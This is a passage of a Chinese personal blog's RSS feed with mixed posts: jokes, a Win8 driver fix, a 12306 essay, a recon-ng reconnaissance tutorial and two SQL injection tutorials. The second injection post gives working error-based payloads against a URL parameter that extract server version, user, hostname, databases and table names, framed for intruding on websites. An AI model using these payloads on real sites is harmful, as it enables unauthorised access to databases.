&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/35412_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c14131e3f22197232347a8230c51cb661e50f167.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;使用方法直接把你想下载的地址复制过去，点击下载就会调用ie来下载了.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;文章太短了，发两个可乐的吧：&lt;/p&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;第一个是：&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;＂网上发言，请不要随便自称笔者，毕竟有没有在用笔在写一目了然。这个词汇已经要汇入历史长河了，虽然曾经的那么疯狂存在过，但至少在互联网上该消失了。＂&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;＂那以后自称什么？＂&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;＂键人。＂&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;----------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;第二个：&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;---光棍君：五一快到了，你还是一个人吗？&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;  ---你MB，难道我会变成狗吗？&lt;/div&gt;
&lt;div&gt;----------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;第一个冷笑话，第二个是热笑话，冷暖自知。一个成语瞬间提升了整篇文章的境界。&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
下载地址：[Csdn下载器](http://pan.baidu.com/share/link?shareid=468747&amp;amp;uk=1493685990)</description>
    </item>
    <item>
      <title>详细讲解双查询注入</title>
      <link>http://blog.leaver.me/2013/03/03/%E8%AF%A6%E7%BB%86%E8%AE%B2%E8%A7%A3%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Sun, 03 Mar 2013 07:53:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/03/%E8%AF%A6%E7%BB%86%E8%AE%B2%E8%A7%A3%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;上一篇文章中，&lt;a href=&#34;http://leaver.me/archives/2726.html&#34;&gt;http://leaver.me/archives/2726.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我说双查询很难讲清楚，这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。&lt;/p&gt;
&lt;p&gt;在此之前，我们理解一下子查询，查询的关键字是select，这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。&lt;/p&gt;
&lt;p&gt;看一个简单的例子：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select concat((select database()));&lt;/pre&gt; 
&lt;p&gt;真正执行的时候，先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来，然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。&lt;/p&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;双注入查询需要理解四个函数/语句
1. Rand()  //随机函数
2. Floor()  //取整函数
3. Count()  //汇总函数
4. Group by clause //分组语句&lt;/p&gt;
&lt;p&gt;简单的一句话原理就是有研究人员发现，当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。&lt;/p&gt;
&lt;p&gt;以本地一个名为Security的数据库为例
首先在bt5下的命令行下输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;mysql -u root –p toor&lt;/pre&gt; 
&lt;p&gt;就会连接上数据库了。
然后通过use security； 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33517_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/522ac49ec64d3b7735b3dc208564de22477e4aba.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后我们执行一下前面那个简单的子查询的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT concat((select database()));&lt;/pre&gt; 
&lt;p&gt;就能显示security，也就是显示了当前数据库的名字了。
然后我们测试一下concat的用法。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT concat(&#39;string1&#39;,&#39;string2&#39;);&lt;/pre&gt; 
&lt;p&gt;显然结果就是string1string2了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33518_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a8be70e4ddb999500369b44191c7c188b4ecf651.png&#34;&gt;&lt;/a&gt;
然后我们测试一下rand()这个随机函数是干嘛的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select rand();&lt;/pre&gt; 
&lt;p&gt;我们多执行几次
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33519_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab02015d63c2fc6d0af98492ae791d58a7665000.png&#34;&gt;&lt;/a&gt;
可以看到，这个函数就是返回大于0，小于1之间的数
然后看看取整函数&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Select floor(1.1123456);&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33520_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4477acaba79cf1464c028cab96e32534d81af2e5.png&#34;&gt;&lt;/a&gt;
这个函数就是返回小于等于你输入的数的整数。&lt;/p&gt;
&lt;p&gt;然后我们看看双注入查询中的一个简单组合。大家从我的上一篇文章中应该也看到了有一个子查询是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT floor(rand()*2);&lt;/pre&gt; 
&lt;p&gt;我们从里向外看。rand() 返回大于0小于1的小数，乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1，就是0
我们稍微加大一点难度。看这个查询&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));&lt;/pre&gt; 
&lt;p&gt;不要怕。先看最里面的SELECT database() 这个就返回数据库名，这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0，就是1.然后把这两个的结果进行concat连接，那么结果不是security0就是security1了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33521_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f29b4115541e053c2e100bc7a35cdd51aaa9c2e5.png&#34;&gt;&lt;/a&gt;
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录，这里users表里有13个用户，所以返回了13条
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33522_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d272e51a8be57b8739ab1c63516af31cd795f6ab.png&#34;&gt;&lt;/a&gt;
如果是从information_schema.schemata里，这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33523_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8c67270890234e1d851d71c02e44e7511cedcdbd.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值，不至于全部是security0，这样就不能查询出结果了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;&lt;/pre&gt; 
&lt;p&gt;这里我先解释一下。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ，然后使用他进行分组。这样相同的security0分到一组，security1分到一组。就剩下两个结果了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33524_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c9ad11cc6de49646801b61d3143e1fa9c5d0b0af.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意。这里的database()可以替换成任何你想查的函数，比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。&lt;/p&gt;
&lt;p&gt;最后的亮点来了。。
我们输入这条：注意多了一个聚合函数count(*)&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/33525_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/03af307809c7bcdfd4f77d3551d39e1d7fa7e515.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;报错了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;ERROR 1062 (23000): Duplicate entry &#39;security1&#39; for key ‘group_key’&lt;/pre&gt; 
&lt;p&gt;重复的键值 可以看到security就是我们的查询结果了
想要查询版本就这样：&lt;/p&gt;</description>
    </item>
    <item>
      <title>双查询注入</title>
      <link>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Fri, 22 Feb 2013 20:57:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/22/%E5%8F%8C%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;p&gt;作者：bystander
论坛：法客论坛
这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识&lt;/p&gt;
&lt;p&gt;介绍一下双查询注入，有时候我们通过order by 语句获取到了确定的列数，可是当我们使用union select或union select all查询的时候，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6--&lt;/pre&gt; 
&lt;p&gt;却会出现一个错误提示，列数不一致。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Different Number of Columns&lt;/pre&gt; 
&lt;p&gt;而我们使用下面的语句：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;执行之后就会显示mysql版本，用户名，服务器名, 以及数据目录…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取数据库里&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;许多人会在上面的语句里使用:database()方法来获取数据库，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&lt;/pre&gt; 
&lt;p&gt;可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ，这样就能查到所有的数据库了。
注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。
补充个：
在普通的SQL注入中，使用如下的语句&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata--&lt;/pre&gt; 
&lt;p&gt;会一次爆出所有的数据库
而使用下面的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8--&lt;/pre&gt; 
&lt;p&gt;只会显示当前站点使用的数据库。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取表名&lt;/strong&gt;
回正题，我们继续使用双查询来获取数据库的表:&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1&lt;/pre&gt; 
&lt;p&gt;注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。
同样的，这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。&lt;/p&gt;</description>
    </item>
    <item>
      <title>recon-ng开源信息探测框架</title>
      <link>http://blog.leaver.me/2013/02/02/recon-ng%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%8E%A2%E6%B5%8B%E6%A1%86%E6%9E%B6/</link>
      <pubDate>Sat, 02 Feb 2013 06:52:28 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/02/recon-ng%E5%BC%80%E6%BA%90%E4%BF%A1%E6%81%AF%E6%8E%A2%E6%B5%8B%E6%A1%86%E6%9E%B6/</guid>
      <description>&lt;p&gt;作者：bystander
博客：&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt;
微博：&lt;a href=&#34;http://t.qq.com/lazystander&#34;&gt;http://t.qq.com/lazystander&lt;/a&gt;
论坛：法客论坛&lt;/p&gt;
&lt;p&gt;首发。转载什么的请注明出处。起码给我留个链接啥的嘛。&lt;/p&gt;
&lt;p&gt;首先介绍一下。这个工具是国外刚刚发布的。主要用来渗透前的信息探测。使用类似Metasploit
主要有
Auxiliary：
这个模块查询主机信息泄漏页。进行hash反查，模糊名称精确，检查某个email是否密码泄漏，域名解析ip等
Contacts：
这个模块探测和某一公司有关的人员的信息，主要包括 LinkedIn 和Jigsaw 这两个模块。得到的信息可以被Auxiliary模块使用，如果和Social Engineer Toolkit(社会工程学工具集，这个工具已经发布了。是开源的。大家可以看看)，一起。效果强大。&lt;/p&gt;
&lt;p&gt;Hosts：
这个用来获取站点子域名。。包括使用baidu。Google bing等。。效果相当强大。
Output：
这个模块用来创建输出报表
Pwnedlist：
这个模块不是得shell的。他可通过 Pwnedlist.com 提供的api，如果这个网站被入侵过。那么可以直接获得其他黑客泄漏的帐号密码。。（需要去 Pwnedlist.com 注册）&lt;/p&gt;
&lt;p&gt;安装方法：
bt下直接&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git&lt;/pre&gt;
&lt;p&gt;然后有可能提示输入密码，好象是随便输一个用来保护版本控制。。我输的是toor。。
然后就安装好了。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;cd recon-ng&lt;/pre&gt;
&lt;p&gt;然后&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;./recon-ng.py&lt;/pre&gt;
&lt;p&gt;首先查看有哪些模块。输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;modules&lt;/pre&gt;
&lt;p&gt;图一&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32339_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/88f2dd5c24ad567a09c5b6162cd60d70b3fb781d.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我以获取子域名为例，通过我前面的介绍你已经知道了hosts模块里的所有模块基本都是干这事的。我用里面的baidu模块来说明。你也可以使用bing等，，&lt;/p&gt;
&lt;p&gt;输入命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;load hosts::baidu&lt;/pre&gt;
&lt;p&gt;图二&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32340_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f818e08de804ba8875667692fbdd580ad8114667.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;刚开始你可能不清楚这个模块的说明。那么继续输入info即可查看模块的详细说明
要开始使用。我们输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;options&lt;/pre&gt;
&lt;p&gt;和Metasploit很像把。可以查看要使用需要的配置。&lt;/p&gt;
&lt;p&gt;图三&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32341_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7848e773ab3e4e3ad03f59ba7b5ac6704d333ce6.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看表，会发现有三行。第一行是标题，第二行是域名设置，第三行是输出。这个current value也就是当前值已经为true。所以不用设置。req的意思是是否必须设置。我们输入
baidu.com就是你的目标了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;set domain baidu.com&lt;/pre&gt;
&lt;p&gt;就会从百度的结果里提取百度的子域名信息了。要开始。我们输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;run&lt;/pre&gt;
&lt;p&gt;图四&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32342_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/125a841869478ff39dd63113e2e9427c3ae1cf81.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;更多希望大家发掘吧。我抛砖。求引玉。&lt;/p&gt;</description>
    </item>
    <item>
      <title>不要变成你讨厌的人，面目可憎</title>
      <link>http://blog.leaver.me/2013/01/23/%E4%B8%8D%E8%A6%81%E5%8F%98%E6%88%90%E4%BD%A0%E8%AE%A8%E5%8E%8C%E7%9A%84%E4%BA%BA%E9%9D%A2%E7%9B%AE%E5%8F%AF%E6%86%8E/</link>
      <pubDate>Wed, 23 Jan 2013 16:37:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/23/%E4%B8%8D%E8%A6%81%E5%8F%98%E6%88%90%E4%BD%A0%E8%AE%A8%E5%8E%8C%E7%9A%84%E4%BA%BA%E9%9D%A2%E7%9B%AE%E5%8F%AF%E6%86%8E/</guid>
      <description>&lt;p&gt;本文来自&lt;a href=&#34;http://www.xjp.cc/2013-log/01/5379.html&#34;&gt;xjp的碎碎念&lt;/a&gt;，我很喜欢的一个博主。博客已被伟大的GFW屏蔽。和文章的主题类似，我有时候会在G+上会纠正一些人的谣言，并且给出澄清，可是，往往效果不大。我的态度很简单，你要反对一样东西，请你不要是那样的东西。或用那样的东西去反对。不要为任何主义所迷惑，你要做好一个人。&lt;/p&gt;
&lt;p&gt;今天看到一篇来自《新京报》的报道，称时事评论员&lt;a href=&#34;http://weiba.weibo.com/10015/t/zfCUGgdhj&#34;&gt;@周筱赟爆料&lt;/a&gt;称，根据铁道部的两份采购合同显示，推测铁道部12306订票网站实际投入已经超过5亿元，而不是之前曾披露的3.2亿元。&lt;/p&gt;
&lt;p&gt;首先我很赞同周筱赟所做的事情，在国内目前民众获取信息渠道有限的情况下，有这样的热心人士去披露政府部门行政行为中值得讨论的部分，对于整个社会的公正与透明都有极大的推动作用。&lt;/p&gt;
&lt;p&gt;但我注意的是另一群人，他们典型的回复是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1、花5个多亿做成这么垃圾的网站，铁道部公然贪污多少钱？臭不要脸的！二逼的网站和系统归功于傻逼造就！&lt;/p&gt;
&lt;p&gt;2、卧槽，里面有4.5亿是贪污款吧&lt;/p&gt;
&lt;p&gt;3、习总说反腐，最大的蛀虫在这里，敢反否？&lt;/p&gt;
&lt;p&gt;4、3亿建站为什么这些年一直没有工商部去追查12306的贪污问题。你懂我懂大家懂。&lt;/p&gt;
&lt;p&gt;5、中央纪委、监察部和各级纪检监察机关要加大检查监督力度，执好纪、问好责、把好关。&lt;/p&gt;
&lt;p&gt;6、太极集团是做医药的呀，怎么也搞起软件来了。我想说，有没经验都不要紧，要紧的是有钱。咱就撒都能做！&lt;/p&gt;
&lt;p&gt;7、五亿······· 用了个500的模版 月薪5000水平的制作团队&lt;/p&gt;
&lt;p&gt;8、三億各單位部門宣傳費，一億三公支出，五千萬采購合同草擬費用，四千萬給媒體掩口費, 九百九十萬信息產業部備案費用，最後十萬才是網站制作費用… 這五億基本上都使對了地方，沒有錯啊!
其它的评论都是诸如此类，某一些理性的评论都被深埋其中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我不是铁道部、太极的任何一方，我不能拍着胸脯说这些问题一定不存在，但真正让我恐惧的是，有大量网友没有认真去研究文章的内容与事实，只是单纯下意识地做出了判断，然后开喷。&lt;/p&gt;
&lt;p&gt;我们仔细去看我们讨厌的那些五毛与政府宣传部门，他们的日常做法都是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1、戴帽子&lt;/p&gt;
&lt;p&gt;2、站在道德高度，说正确的废话&lt;/p&gt;
&lt;p&gt;3、自说自话，完全不管别人在说什么&lt;/p&gt;
&lt;p&gt;4、预设立场&lt;/p&gt;
&lt;p&gt;5、我永远是对的，反对我的都是错的&lt;/p&gt;
&lt;p&gt;6、你们站在人民的对立面
然后有一个微博网友在评论里跟我说，他只需要一万元就能够搞定12306的网站外包开发。听到这样的话，我不由地一阵颤抖，如果这话来自一名所谓的业内人士，那我真的不知道应该怎么说了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用某网友的评论：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;从专业角度来说，投入不算多，只是透明度不够，民众才疑惑！全国各地还需要再多些大型机房，才能满足高峰期分流排队和并发操作！
我的看法是，不否认铁道部的开发、架构设计存在一定问题，如果没有实际的大型系统设计经验的团队，可能会造成很多理论与实际脱节问题，事实上今年的12306已经比去年好太多了，他们也在吸取教训。当然，我也赞成他们向互联网公司取经，吸收现有经验。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;建议大家不要单纯喷，5亿这个数字可能略高，但比起数千万的静态网站好多了，至于具体审计是国家审计局的事情，我支持惩处贪腐。做一个覆盖数千万用户，承受刷票插件5秒一次的并发，服务器、带宽、配套都是成本。而售票数字化几乎是必经之路，铁道部走出这一步是好的，买不到票有基础运力的问题，跟网络售票无关。&lt;/p&gt;
&lt;p&gt;不要一叶障目，买不到票人人都会烦心，诚然铁道部是一个不错的发泄口，但如果只是为了喷而喷。借用我之前的一句话，铁道部如何做你们才满意？&lt;/p&gt;</description>
    </item>
    <item>
      <title>解决win8无法上网的问题</title>
      <link>http://blog.leaver.me/2012/11/21/%E8%A7%A3%E5%86%B3win8%E6%97%A0%E6%B3%95%E4%B8%8A%E7%BD%91%E7%9A%84%E9%97%AE%E9%A2%98/</link>
      <pubDate>Wed, 21 Nov 2012 16:29:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/21/%E8%A7%A3%E5%86%B3win8%E6%97%A0%E6%B3%95%E4%B8%8A%E7%BD%91%E7%9A%84%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;昨天晚上@虎振兴同学装了win8.。结果悲剧了。症状为连接宽带可以连接上。上qq也正常。但是。只要打开网页。就会自动断网。再连接就会提示651错误了。网上大多说是驱动不兼容。但是解决的方法大部分是不对的。下面结合网上的给大家说一说。。&lt;/p&gt;
&lt;p&gt;网卡驱动目测是都是美满公司，也就是Marvell 的Yukon系列网卡驱动的问题。首先下载一个旧版本的驱动（&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=157758&amp;amp;uk=1493685990&#34;&gt;32位下载&lt;/a&gt;/&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=157761&amp;amp;uk=1493685990&#34;&gt;64位下载&lt;/a&gt;）
然后按下图操作，第一步是打开计算机-管理。。各种姿势只要打开了计算机管理就可以了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29531_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/64492d91b55bcb36bfca307f79e7085701e4d385.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
在这里稍微记一下这个名字。Marvell Yukon  88exxxxx  PCI-E Fast Ethernet..
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29542_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f62bc3bc8f6c801bb02b7ac3b5828cd8b8949409.jpg&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
找到网络适配器，右键更新驱动程序。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29532_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/de07155b61319d7d4bcd6850502b67cf08e010e7.jpg&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29534_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/31566293ba5a32fff3f1654f50247e65824c1def.jpg&#34; title=&#34;4&#34;&gt;&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29535_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b77e3594df179d35a82777375611b20549290884.jpg&#34; title=&#34;5&#34;&gt;&lt;/a&gt;
注意记下兼容的网卡。名字和第二步的差不多的那个，点击从磁盘安装，选择下载后驱动的解压的安装文件，如图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29536_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/925d77e1da47d263c1e41785765b5af2b6152818.jpg&#34; title=&#34;6&#34;&gt;&lt;/a&gt;
到这一步以后，点击打开，可能会出现一个驱动列表。这是时候选择一个和兼容列表名字一样的。88e这部分不一样。如果找不到，也可以找类似的，比如途中给出的后两位是39.我装的是40也没问题。这个是驱动的历史版本。然后就可以了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29538_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/02f918179789c33bccb038983bae0125c0d0d988.jpg&#34; title=&#34;9&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最后。提醒各位童鞋。win8整体还是很不错的。不过呢。对于我来说。metro界面和正常的界面的傻傻分不清楚的模式。令我很是蛋疼。。所以暂时没有考虑换到win8.。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 网络编程系列</title>
      <link>http://blog.leaver.me/2012/09/25/c%23-%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E7%B3%BB%E5%88%97/</link>
      <pubDate>Tue, 25 Sep 2012 18:04:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/25/c%23-%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B%E7%B3%BB%E5%88%97/</guid>
      <description>&lt;p&gt;本系列来自博客园的&lt;a href=&#34;http://www.cnblogs.com/zhili/&#34;&gt;Learning hard&lt;/a&gt;园友。每个博主都不容易，我这里只是给出一个索引，希望更多热爱技术的人能够看到。给分享者更多的鼓励和支持。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/11/NetWorkProgramming.html&#34;&gt;专题一：网络协议简介&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/18/HTTP.html&#34;&gt;专题二：HTTP协议详解&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/23/WebServer.html&#34;&gt;专题三：自定义Web服务器&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/24/WebBrowser.html&#34;&gt;专题四：自定义Web浏览器&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/08/25/TCP.html&#34;&gt;专题五：TCP编程&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/01/UDP_Multicast.html&#34;&gt;专题六：UDP编程&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/09/03/UDPBroadcas.html&#34;&gt;专题七：UDP编程补充——UDP广播程序的实现&lt;/a&gt;
